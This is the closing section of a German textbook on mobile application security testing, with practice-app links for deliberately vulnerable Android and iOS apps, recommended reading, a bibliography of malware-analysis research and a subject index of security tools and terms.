Zu finden ist es unter:<br />

http://pentestcorner.com/introduction-to-fridump/.<br />

Ein kommerzielles Werkzeug, das iOS- und Android-Applikationen<br />

automatisiert analysiert, aber auch das manuelle Reversing<br />

unterstützt.<br />

Ein Tool sehr ähnlich zu Hopper und IDA Pro, aber OpenSource.<br />

Dieses Tool ermöglicht es, den Aufbau einer Applikation anzuzeigen<br />

und so interessante Views schneller zu finden als durch manuelle<br />

Suche. Die Namen der Views helfen beim Reversing mittels IDA Pro<br />

oder Hopper.<br />

Tab. 10–2: Liste weiterer Tools für das Reversing und die Suche nach Schwachstellen in<br />

iOS-Applikationen<br />

10.2 Wo kann ich üben?<br />

Wer noch etwas Material zum Üben der hier gezeigten Tools und Methoden<br />

sucht – und dazu auch Anleitungen bzw. Lösungen möchte –, der findet gerade<br />

im Bereich iOS und Android sehr gute Projekte und zugehörige Applikationen<br />

auf den folgenden Webseiten:<br />

■ OWASP Goat-Droid für Android:<br />

https://github.com/jackMannino/OWASP-GoatDroid-Project<br />

■ DIVA (Damn insecure and vulnerable App) für Android:<br />

http://www.payatu.com/damn-insecure-and-vulnerable-app/<br />

■ OWASP iGoat für iOS:<br />

https://code.google.com/p/owasp-igoat/<br />

■ DVIA (Damn Vulnerable iOS Application):<br />

http://damnvulnerableiosapp.com/<br />

■ Infosec Institute bietet viele Anleitungen zu diesem – aber auch anderen –<br />

Themen:<br />

http://resources.infosecinstitute.com/<br />

Die hier aufgeführten Applikationen bieten gute Schritt-für-Schritt-Anleitungen<br />

und zeigen, wie man die Lücken findet, und teilweise auch, wie man sie in der


218 10 Wie geht die Reise weiter?<br />

Realität vermeidet. Dies ist ideal für den Einsteiger, um sich mit den Tools und<br />

der Thematik tiefer zu beschäftigen und deren Umgang und Einsatz zu üben.<br />

Ich wünsche daher viel Spaß beim Aufspüren der Lücken!<br />

10.3 Wo finde ich weiterführende Informationen?<br />

Analysiert man die Sicherheit von mobilen Applikationen, so ist neben der Applikation<br />

selbst auch noch das darunterliegende Betriebssystem wie auch das Backend<br />

von Interesse, denn beide dieser Endpunkte können einen massiven Einfluss<br />

auf die Sicherheit der Applikationen und vor allem der verarbeiteten und gespeicherten<br />

Daten haben. Aus diesem Grund sollte der Analyst (auch Penetrationstester<br />

genannt) sich auch mit der Sicherheit und Verwundbarkeit dieser Systeme<br />

auskennen.<br />

Hierfür ist u. a. folgende weiterführende Lektüre empfehlenswert:<br />

■<br />

Android<br />

■<br />

■<br />

■<br />

Android Security Internals von Nikolay Elenkov<br />

Android Hackers Handbook von Joshua Drake, Pau Oliva Fora, Zach<br />

Lanier, Collin Mulliner, Stephen Ridley und Georg Wicherski<br />

Android Forensics: Investigation, Analysis and <strong>Mobile</strong> Security for Google<br />

Android von Andrew Hoog<br />

■<br />

iOS<br />

■<br />

■<br />

■<br />

■<br />

■<br />

iOS Hackers Handbook von Charlie Miller, Dionysus Blazakis, Dino<br />

Dai Zovi, Stefan Esser, Vincenzo Iozzo und Ralf-Philipp Weinmann<br />

Mac OS X and iOS Internals von Jonathan Levin<br />

<strong>Hacking</strong> and Securing iOS Applications von Jonathan Zdziarski<br />

iPhone Forensics: Recovering Evidence, Personal Data, and Corporate<br />

Assets von Jonathan Zdziarski<br />

iOS Application Security – The Definitive Guide for Hackers and Developers<br />

von David Thiel<br />

■<br />

Backend<br />

■<br />

■<br />

■<br />

■<br />

<strong>Hacking</strong>: Die Kunst des Exploits von Jon Erickson<br />

<strong>Hacking</strong> Web Apps: Detecting and Preventing Web Application Security<br />

Problems von Mike Shema<br />

The Basics of <strong>Hacking</strong> and Penetration Testing: Ethical <strong>Hacking</strong> and<br />

Penetration Testing Made Easy von Patrick Engebretson<br />

<strong>Hacking</strong> mit Metasploit: Das umfassende Handbuch zu Penetration<br />

Testing und Metasploit von Michael Messner


219<br />

Literaturverzeichnis<br />

[1] Steven Arzt, Siegfried Rasthofer, Christian Fritz, Eric Bodden, Alexandre<br />

Bartel, Jacques Klein, Yves Le Traon, Damien Octeau und Patrick<br />

McDaniel. FlowDroid: Precise context, flow, field, object-sensitive and<br />

lifecycle-aware taint analysis for android apps. In: Proceedings of the<br />

35th ACM SIGPLAN conference on Programming language design and<br />

implementation, 2014.<br />

[2] J. Bergeron, M. Debbabi, J. Desharnais, M. M. Erhioui, Y. Lavoie und<br />

N. Tawbi. Static detection of malicious code in executable programs. In<br />

Proceedings of the Symposium on Requirements Engineering for<br />

Information Security, 2001.<br />

[3] M. A. Bishop. The art and science of computer security. Addison-Wesley<br />

Longman Publishing Co., 2002.<br />

[4] Dominic Chell, Tyrone Erasmus, Shaun Colley und Ollie Whitehouse.<br />

The <strong>Mobile</strong> Application Hacker’s Handbook. Wiley, 2015.<br />

[5] Bundesministerium der Justiz und für Verbraucherschutz.<br />

Bundesdatenschutzgesetz.<br />

http://www.gesetze-im-internet.de/bdsg_1990/index.html.<br />

[6] A.P. Felt, M. Finifter, E. Chin, S. Hanna und D. Wagner. A survey of<br />

mobile malware in the wild. In Proceedings of the 1st ACM workshop on<br />

Security and privacy in smartphones and mobile devices, Seiten 3–14,<br />

ACM, 2011.<br />

[7] Gartner. Gartner Says Worldwide Smartphone Sales Grew 9.7 Percent in<br />

Fourth Quarter of 2015. http://www.gartner.com/newsroom/id/3215217,<br />

2016.<br />

[8] Claudio Guarnieri, Alessandro Tanasi, Jurriaan Bremer und Mark<br />

Schloesser. cuckoo sandbox. https://www.cuckoosandbox.org/.<br />

[9] Martina Lindorfer, Matthias Neugschwandtner, Lukas Weichselbaum,<br />

Yanick Fratantonio, Victor van der Veen und Christian Platzer.<br />

ANDRUBIS - 1,000,000 Apps Later: A View on Current Android<br />

Malware Behaviors. Proceedings of the International Workshop on<br />

Building Analysis Datasets and Gathering Experience Returns for<br />

Security (BADGERS), 2014.<br />

[10] Linux Kernel Organization Inc. Linux source code – sched.h.<br />

http://lxr.linux.no/linux+v3.6/include/linux/sched.h, 2012.


220 Literaturverzeichnis<br />

[11] Andreas Moser, Christopher Kruegel und Engin Kirda. Limits of Static<br />

Analysis for Malware Detection. In Annual Computer Security<br />

Applications Conference (ACSAC), December 2007.<br />

[12] Alex Plaskett und Nick Walker. Windows Phone 8 Application Security<br />

Whitepaper. MWR Infosecurity Labs, 2014.<br />

[13] Siegfried Rasthofer, Steven Arzt, Marc Miltenberger und Eric Bodden.<br />

Reverse Engineering Android Apps With CodeInspect. TU Darmstadt,<br />

2016.<br />

[14] Michael Spreitzenbarth, Felix Freiling, Florian Echtler, Thomas Schreck<br />

und Johannes Hoffmann. <strong>Mobile</strong>-Sandbox: having a deeper look into<br />

android applications. In: Proceedings of the 28th Annual ACM<br />

Symposium on Applied Computing, 2013.<br />

[15] Starbug. Ich sehe, also bin ich ... Du.<br />

https://media.ccc.de/v/31c3_-_6450_-_de_-_saal_1_-_201412272030_-_<br />

ich_sehe_also_bin_ich_du_-_starbug, 2014.<br />

[16] Statista. Number of apps available in leading app stores as of July 2015.<br />

http://www.statista.com/statistics/276623/<br />

number-of-apps-available-in-leading-app-stores/, 2015.<br />

[17] Kimberly Tam, Salahuddin J. Khan, Aristide Fattori und Lorenzo<br />

Cavallaro. CopperDroid: Automatic Reconstruction of Android Malware<br />

Behaviors. In: Proceedings of the 22nd Annual Network and Distributed<br />

System Security Symposium, 2015.<br />

[18] Carsten Willems, Thorsten Holz und Felix Freiling. Toward Automated<br />

Dynamic Malware Analysis Using CWSandbox. IEEE Security &<br />

Privacy, 2007.


221<br />

Index<br />

A<br />

Activity 7, 83, 84<br />

ActivityManager 85<br />

adb 94, 97, 104<br />

adb backup 94, 95<br />

addJavascriptInterface 91<br />

Address Space Layout Randomization siehe<br />

ASLR<br />

Adware 26<br />

aes-cbc-essiv:sha256 97<br />

Androguard 56<br />

Android 2, 31, 43, 67, 202, 203, 205, 215<br />

Android Backup Extractor 95<br />

Android Debug Bridge siehe adb<br />

Android Studio 5, 110<br />

Android-Manifest 7, 45, 77, 95<br />

Android-SSL-TrustKiller 205<br />

API 4<br />

APKtool 74<br />

Apple iOS siehe iOS<br />

Apple System Log 167<br />

Application Programming Interfaces siehe API<br />

AppManifest.xml 179, 180, 188, 196<br />

appx 179<br />

ARC 141, 177<br />

ASLR 141, 173, 193<br />

Atom Editor 183<br />

B<br />

Backup 94<br />

baksmali 49<br />

Bildschirmsperre siehe Screenlock<br />

BinScope 188, 194<br />

BitLocker 23<br />

Brew 35, 119<br />

Broadcast Receiver 8<br />

Brute-Force-Angriff 97, 98, 103, 108, 157, 191<br />

BuildProp Enhancer 110<br />

Burp Suite 201, 202, 204, 211, 212<br />

BusyBox 68<br />

C<br />

Capabilities 187<br />

CFG 63, 131<br />

Charles Proxy 201<br />

class-dump 120, 154, 157<br />

Codeinspect 59, 79, 110–112<br />

Component Object Model 22<br />

Configuration Manager 22<br />

Content Provider 8, 86<br />

Cortana 192<br />

CredentialHash 190<br />

Crypto Footer 96<br />

Cryptolocker 27<br />

CuckooDroid 79<br />

CVE-2013-6271 86<br />

cycript 122, 125, 155, 157, 158<br />

cydia 116<br />

Cydia Substrate 75, 205<br />

D<br />

Dataprotection-Level 15, 145<br />

DDMS 113<br />

DEP 141, 193<br />

Device Health Attestation 24<br />

dex2jar 47<br />

double-free 177<br />

DRM 171, 180<br />

DroidBox 79<br />

Drozer 69, 78, 84, 86, 90, 93<br />

dumpdecrypted 121, 125, 171<br />

DVM 4<br />

dynamische Analyse 40, 79<br />

E<br />

Eclipse 5, 110<br />

EDP 23<br />

Emulator 34, 79<br />

enjarify 48<br />

Enterprise Data Protection siehe EDP


222 Index<br />

F<br />

FairPlay 171<br />

FDE 96<br />

File Juicer 170<br />

FileDP 145, 163<br />

FlowDroid 63<br />

frida 141, 155, 157<br />

fstab 97<br />

Full Disk Encryption siehe FDE<br />

Fuzzing 196<br />

G<br />

gesture.key 99<br />

Grayware 26<br />

H<br />

HAS 24<br />

Hashcat 98, 103<br />

Health Attestation Service siehe HAS<br />

hexdump 5<br />

Hopper 128, 151<br />

HTTP-Response-Cache 170<br />

I<br />

IDA Pro 110, 132, 151, 183<br />

idb 140, 160, 161, 167, 169, 173, 175–177<br />

ILSpy 183, 185<br />

Intent 8<br />

Introspy 76<br />

iOS 8, 35, 115, 137, 202, 204, 206, 216<br />

iOS-SSL-Kill-Switch 206<br />

iproxy 119<br />

iTunes 164<br />

J<br />

JADx-GUI 55<br />

jailbreak 116, 213<br />

JavascriptInterface 91, 92<br />

JD-GUI 52<br />

Jimple 61<br />

JTAG 100<br />

K<br />

Keyboard-Cache 169<br />

Keychain 17, 159<br />

Keychain-Dumper 144, 159<br />

kSecAttr 17, 18, 160<br />

L<br />

libimobiledevice 119<br />

lipo 122<br />

locksettings.db 101<br />

logcat 206<br />

Logos 149, 152<br />

LUKS 96<br />

M<br />

Mach-O-Binary 13<br />

Malware 25<br />

Man-in-the-Middle-Angriff siehe MitM<br />

MitM 199–201, 203<br />

N<br />

.NET reflector 183<br />

NSFileProtection 15, 145<br />

NSLog 167<br />

NSURLCache 170<br />

O<br />

Obfuscation 39<br />

otool 138, 172, 174, 176, 177<br />

OWASP Top 10 27<br />

P<br />

PackageManager 44, 74<br />

password.key 101<br />

Pasteboard 168<br />

pasteBoardWithName 168<br />

pasteBoardWithUniqueName 168<br />

PBKDF2 97, 98<br />

Permissions 76, 78, 187<br />

Phone7Market 180<br />

PIE 173<br />

PocketPCs 19<br />

Pontentially Unwanted Applications siehe PUA<br />

Position Independent Executable siehe PIE<br />

PUA 26<br />

R<br />

Rainbow Table 100, 191<br />

Ransomware 27<br />

Reversing 39, 43, 115, 182, 183<br />

RootCloak 75<br />

S<br />

Same Origin Policy 91<br />

Sandbox 40<br />

Santoku 33<br />

SCP 116, 125, 126<br />

Screenlock 99, 190


Index 223<br />

scrypt 98<br />

Secure Boot 23<br />

Secure Boot Chain 14<br />

Services 8<br />

settings.db 101<br />

Shared Preferences 8, 106<br />

smali 49, 78<br />

Snoop-it 138, 148, 155, 160, 206<br />

Spyware 26<br />

SQL-Injection 89, 90<br />

SQLite 105<br />

SQLiteBrowser 105, 170<br />

SQLmap 90<br />

SSH 116<br />

SSL 199<br />

SSL-Downgrade-Angriff 209<br />

SSL-Kill-Switch2 207<br />

SSL-Strip 209<br />

SSL-TrustKiller 76<br />

statische Analyse 39 siehe Reversing<br />

Sublime Text 183<br />

T<br />

Theos 149, 151, 152<br />

U<br />

UEFI 23<br />

UIPasteBoardNameFind 168<br />

UIPasteBoardNameGeneral 168<br />

use-after-free 177<br />

W<br />

WebView 91<br />

Windows 10 <strong>Mobile</strong> siehe Windows Phone<br />

Windows CE 18<br />

Windows InTune 22, 24<br />

Windows NT 19<br />

Windows Phone 18, 19, 36, 179, 187, 202, 204,<br />

208<br />

Windows Phone Internals 36<br />

Windows Registry 190, 192<br />

Windows Runtime 21<br />

Windows Store 22<br />

Windows-NT-Kernel 20<br />

Windows 10 SDK 36<br />

WinRT 21, 22<br />

WMAppManifest.xml 179, 180, 188, 196<br />

X<br />

xap 179<br />

Xcode 35, 167<br />

XPosed 110

Hurra! Ihre Datei wurde hochgeladen und ist bereit für die Veröffentlichung.

Erfolgreich gespeichert!

Leider ist etwas schief gelaufen!